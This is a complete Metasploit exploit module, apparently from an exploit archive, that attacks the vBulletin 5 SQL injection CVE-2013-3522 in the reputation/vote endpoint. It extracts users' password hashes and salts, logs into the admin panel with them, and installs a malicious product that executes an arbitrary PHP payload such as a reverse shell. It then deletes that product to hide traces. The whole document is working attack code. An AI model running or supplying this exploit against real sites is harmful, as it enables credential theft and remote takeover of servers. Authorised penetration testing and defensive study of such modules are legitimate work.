vBulletin index.php/ajax/api/reputation/vote nodeid Parameter SQL Injection

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'vBulletin index.php/ajax/api/reputation/vote nodeid Parameter SQL Injection',  
'Description' => %q{  
This module exploits a SQL injection vulnerability found in vBulletin 5 that has  
been used in the wild since March 2013. This module uses the sqli to extract the  
web application's usernames and hashes. With the retrieved information tries to  
log into the admin control panel in order to deploy the PHP payload. This module  
has been tested successfully on VBulletin Version 5.0.0 Beta 13 over an Ubuntu  
Linux distribution.  
},  
'Author' =>  
[  
'Orestis Kourides', # Vulnerability discovery and PoC  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-3522' ],  
[ 'OSVDB', '92031' ],  
[ 'EDB', '24882' ],  
[ 'BID', '58754' ],  
[ 'URL', 'http://www.zempirians.com/archive/legion/vbulletin_5.pl.txt' ]  
],  
'Privileged' => false, # web server context  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 10000 # Just value big enough to fit any php payload  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'vBulletin 5.0.0 Beta 11-28', { }]],  
'DisclosureDate' => 'Mar 25 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new("TARGETURI", [true, 'The path to vBulletin', '/']),  
OptInt.new("NODE", [false, 'Valid Node ID']),  
OptInt.new("MINNODE", [true, 'Valid Node ID', 1]),  
OptInt.new("MAXNODE", [true, 'Valid Node ID', 100])  
], self.class)  
end  
  
def exists_node?(id)  
mark = rand_text_alpha(8 + rand(5))  
result = do_sqli(id, "select '#{mark}'")  
  
if result and result =~ /#{mark}/  
return true  
end  
  
return false  
end  
  
def brute_force_node  
min = datastore["MINNODE"]  
max = datastore["MAXNODE"]  
  
if min > max  
print_error("#{peer} - MINNODE can't be major than MAXNODE")  
return nil  
end  
  
for node_id in min..max  
if exists_node?(node_id)  
return node_id  
end  
end  
  
return nil  
end  
  
def get_node  
if datastore['NODE'].nil? or datastore['NODE'] <= 0  
print_status("#{peer} - Brute forcing to find a valid node id...")  
return brute_force_node  
end  
  
print_status("#{peer} - Checking node id #{datastore['NODE']}...")  
if exists_node?(datastore['NODE'])  
return datastore['NODE']  
else  
return nil  
end  
end  
  
def do_sqli(node, query)  
mark = Rex::Text.rand_text_alpha(5 + rand(3))  
random_and = Rex::Text.rand_text_numeric(4)  
injection = ") and(select 1 from(select count(*),concat((select (select concat('#{mark}',cast((#{query}) as char),'#{mark}')) "  
injection << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) "  
injection << "AND (#{random_and}=#{random_and}"  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "index.php", "ajax", "api", "reputation", "vote"),  
'vars_post' =>  
{  
'nodeid' => "#{node}#{injection}",  
}  
})  
  
unless res and res.code == 200 and res.body.to_s =~ /Database error in vBulletin/  
return nil  
end  
  
data = ""  
  
if res.body.to_s =~ /#{mark}(.*)#{mark}/  
data = $1  
end  
  
return data  
end  
  
def get_user_data(node_id, user_id)  
user = do_sqli(node_id, "select username from user limit #{user_id},#{user_id+1}")  
pass = do_sqli(node_id, "select password from user limit #{user_id},#{user_id+1}")  
salt = do_sqli(node_id, "select salt from user limit #{user_id},#{user_id+1}")  
  
return [user, pass, salt]  
end  
  
def do_login(user, hash)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "login.php"),  
'method' => 'POST',  
'encode_params' => false,  
'vars_get' => {  
'do' => 'login'  
},  
'vars_post' => {  
'url' => '%2Fadmincp%2F',  
'securitytoken' => 'guest',  
'logintype' => 'cplogin',  
'do' => 'login',  
'vb_login_md5password' => hash,  
'vb_login_md5password_utf' => hash,  
'vb_login_username' => user,  
'vb_login_password' => '',  
'cssprefs' => ''  
}  
})  
  
if res and res.code == 200 and res.body and res.body.to_s =~ /window\.location.*admincp/ and res.headers['Set-Cookie']  
session = res.get_cookies  
else  
return nil  
end  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "admincp", "/"),  
'cookie' => session  
})  
  
if res and res.code == 200 and res.body and res.body.to_s =~ /<title>Forums Admin Control Panel<\/title>/  
return session  
else  
return nil  
end  
  
end  
  
def get_token(response)  
token_info = {  
:session_hash => "",  
:security_token => "",  
:admin_hash => ""  
}  
  
if response =~ /var SESSIONHASH = "([0-9a-f]+)";/  
token_info[:session_hash] = $1  
end  
  
if response =~ /var ADMINHASH = "([0-9a-f]+)";/  
token_info[:admin_hash] = $1  
end  
  
if response =~ /var SECURITYTOKEN = "([0-9a-f\-]+)";/  
token_info[:security_token] = $1  
end  
  
return token_info  
end  
  
def get_install_token  
res = send_request_cgi({  
"uri" => normalize_uri(target_uri.path, "admincp", "product.php"),  
"vars_get" => {  
"do" => "productadd"  
},  
"cookie" => @session  
})  
  
unless res and res.code == 200 and res.body.to_s =~ /SECURITYTOKEN/  
return nil  
end  
  
  
return get_token(res.body.to_s)  
end  
  
def install_product(token_info)  
  
xml_product = <<-EOF  
<?xml version="1.0" encoding="ISO-8859-1"?>  
  
<product productid="#{@product_id}" active="0">  
<title>#{@product_id}</title>  
<description>#{@product_id}</description>  
<version>1.0</version>  
<url>http://#{@product_id}.loc</url>  
<versioncheckurl>http://#{@product_id}.loc/version.xml</versioncheckurl>  
<dependencies>  
<dependency dependencytype="vbulletin" minversion="" maxversion="" />  
</dependencies>  
<codes>  
<code version="*">  
<installcode>  
<![CDATA[  
#{payload.encoded}  
]]>  
</installcode>  
<uninstallcode />  
</code>  
</codes>  
<templates>  
</templates>  
<stylevardfns>  
</stylevardfns>  
<stylevars>  
</stylevars>  
<hooks>  
</hooks>  
<phrases>  
</phrases>  
<options>  
</options>  
<helptopics>  
</helptopics>  
<cronentries>  
</cronentries>  
<faqentries>  
</faqentries>  
<widgets>  
</widgets>  
</product>  
EOF  
  
post_data = Rex::MIME::Message.new  
post_data.add_part(token_info[:session_hash], nil, nil, "form-data; name=\"s\"")  
post_data.add_part("productimport", nil, nil, "form-data; name=\"do\"")  
post_data.add_part(token_info[:admin_hash], nil, nil, "form-data; name=\"adminhash\"")  
post_data.add_part(token_info[:security_token], nil, nil, "form-data; name=\"securitytoken\"")  
post_data.add_part(xml_product, "text/xml", nil, "form-data; name=\"productfile\"; filename=\"product_juan2.xml\"")  
post_data.add_part("", nil, nil, "form-data; name=\"serverfile\"")  
post_data.add_part("1", nil, nil, "form-data; name=\"allowoverwrite\"")  
post_data.add_part("999999999", nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")  
  
# Work around an incompatible MIME implementation  
data = post_data.to_s  
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "admincp", "product.php"),  
'method' => "POST",  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'cookie' => @session,  
'vars_get' => {  
"do" => "productimport"  
},  
'data' => data  
})  
  
if res and res.code == 200 and res.body and res.body.to_s =~ /Product #{@product_id} Imported/  
return true  
elsif res  
fail_with(Failure::Unknown, "#{peer} - Error when trying to install the product.")  
else  
return false  
end  
  
end  
  
def get_delete_token  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "admincp", "product.php"),  
'cookie' => @session,  
'vars_get' => {  
"do" => "productdelete",  
"productid" => @product_id,  
"s" => @session_hash  
}  
})  
  
if res and res.code == 200 and res.body.to_s =~ /SECURITYTOKEN/  
return get_token(res.body.to_s)  
end  
  
return nil  
end  
  
def delete_product(token_info)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "admincp", "product.php"),  
'method' => "POST",  
'cookie' => @session,  
'vars_get' => {  
"do" => "productkill"  
},  
'vars_post' => {  
"s" => token_info[:session_hash],  
"do" => "productkill",  
"adminhash" => token_info[:admin_hash],  
"securitytoken" => token_info[:security_token],  
"productid" => @product_id  
}  
})  
  
if res and res.code == 200 and res.body.to_s =~ /Product #{@product_id} Uninstalled/  
return true  
end  
  
return false  
end  
  
def check  
node_id = get_node  
  
unless node_id.nil?  
return Msf::Exploit::CheckCode::Vulnerable  
end  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "index.php")  
})  
  
if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/  
return Msf::Exploit::CheckCode::Detected  
end  
  
return Msf::Exploit::CheckCode::Unknown  
end  
  
def on_new_session(session)  
print_status("#{peer} - Getting the uninstall token info...")  
delete_token = get_delete_token  
if delete_token.nil?  
print_error("#{peer} - Failed to get the uninstall token, the product #{@product_id} should be uninstalled manually...")  
return  
end  
  
print_status("#{peer} - Deleting the product #{@product_id}...")  
if delete_product(delete_token)  
print_good("#{peer} - Product #{@product_id} deleted")  
else  
print_error("#{peer} - Failed uninstall the product #{@product_id}, should be done manually...")  
end  
end  
  
def exploit  
print_status("#{peer} - Checking for a valid node id...")  
node_id = get_node  
if node_id.nil?  
print_error("#{peer} - node id not found")  
return  
end  
  
print_good("#{peer} - Using node id #{node_id} to exploit sqli... Counting users...")  
data = do_sqli(node_id, "select count(*) from user")  
if data.empty?  
print_error("#{peer} - Error exploiting sqli")  
return  
end  
count_users = data.to_i  
users = []  
print_good("#{peer} - #{count_users} users found")  
  
for i in 0..count_users - 1  
user = get_user_data(node_id, i)  
report_auth_info({  
:host => rhost,  
:port => rport,  
:user => user[0],  
:pass => user[1],  
:type => "hash",  
:sname => (ssl ? "https" : "http"),  
:proof => "salt: #{user[2]}" # Using proof to store the hash salt  
})  
users << user  
end  
  
@session = nil  
users.each do |user|  
print_status("#{peer} - Trying to log into vBulletin admin control panel as #{user[0]}...")  
@session = do_login(user[0], user[1])  
unless @session.blank?  
print_good("#{peer} - Logged in successfully as #{user[0]}")  
break  
end  
end  
  
if @session.blank?  
fail_with(Failure::NoAccess, "#{peer} - Failed to log into the vBulletin admin control panel")  
end  
  
print_status("#{peer} - Getting the install product security token...")  
install_token = get_install_token  
if install_token.nil?  
fail_with(Failure::Unknown, "#{peer} - Failed to get the install token")  
end  
  
@session_hash = install_token[:session_hash]  
@product_id = rand_text_alpha_lower(5 + rand(8))  
print_status("#{peer} - Installing the malicious product #{@product_id}...")  
if install_product(install_token)  
print_good("#{peer} - Product successfully installed... payload should be executed...")  
else  
# Two situations trigger this path:  
# 1) Upload failed but there wasn't answer from the server. I don't think it's going to happen often.  
# 2) New session, for exemple when using php/meterpreter/reverse_tcp, the common situation.  
# Because of that fail_with isn't used here.  
return  
end  
  
print_status("#{peer} - Getting the uninstall token info...")  
delete_token = get_delete_token  
if delete_token.nil?  
print_error("#{peer} - Failed to get the uninstall token, the product #{@product_id} should be uninstalled manually...")  
return  
end  
  
print_status("#{peer} - Deleting the product #{@product_id}...")  
if delete_product(delete_token)  
print_good("#{peer} - Product #{@product_id} deleted")  
else  
print_error("#{peer} - Failed uninstall the product #{@product_id}, should be done manually...")  
end  
  
end  
  
  
end  
`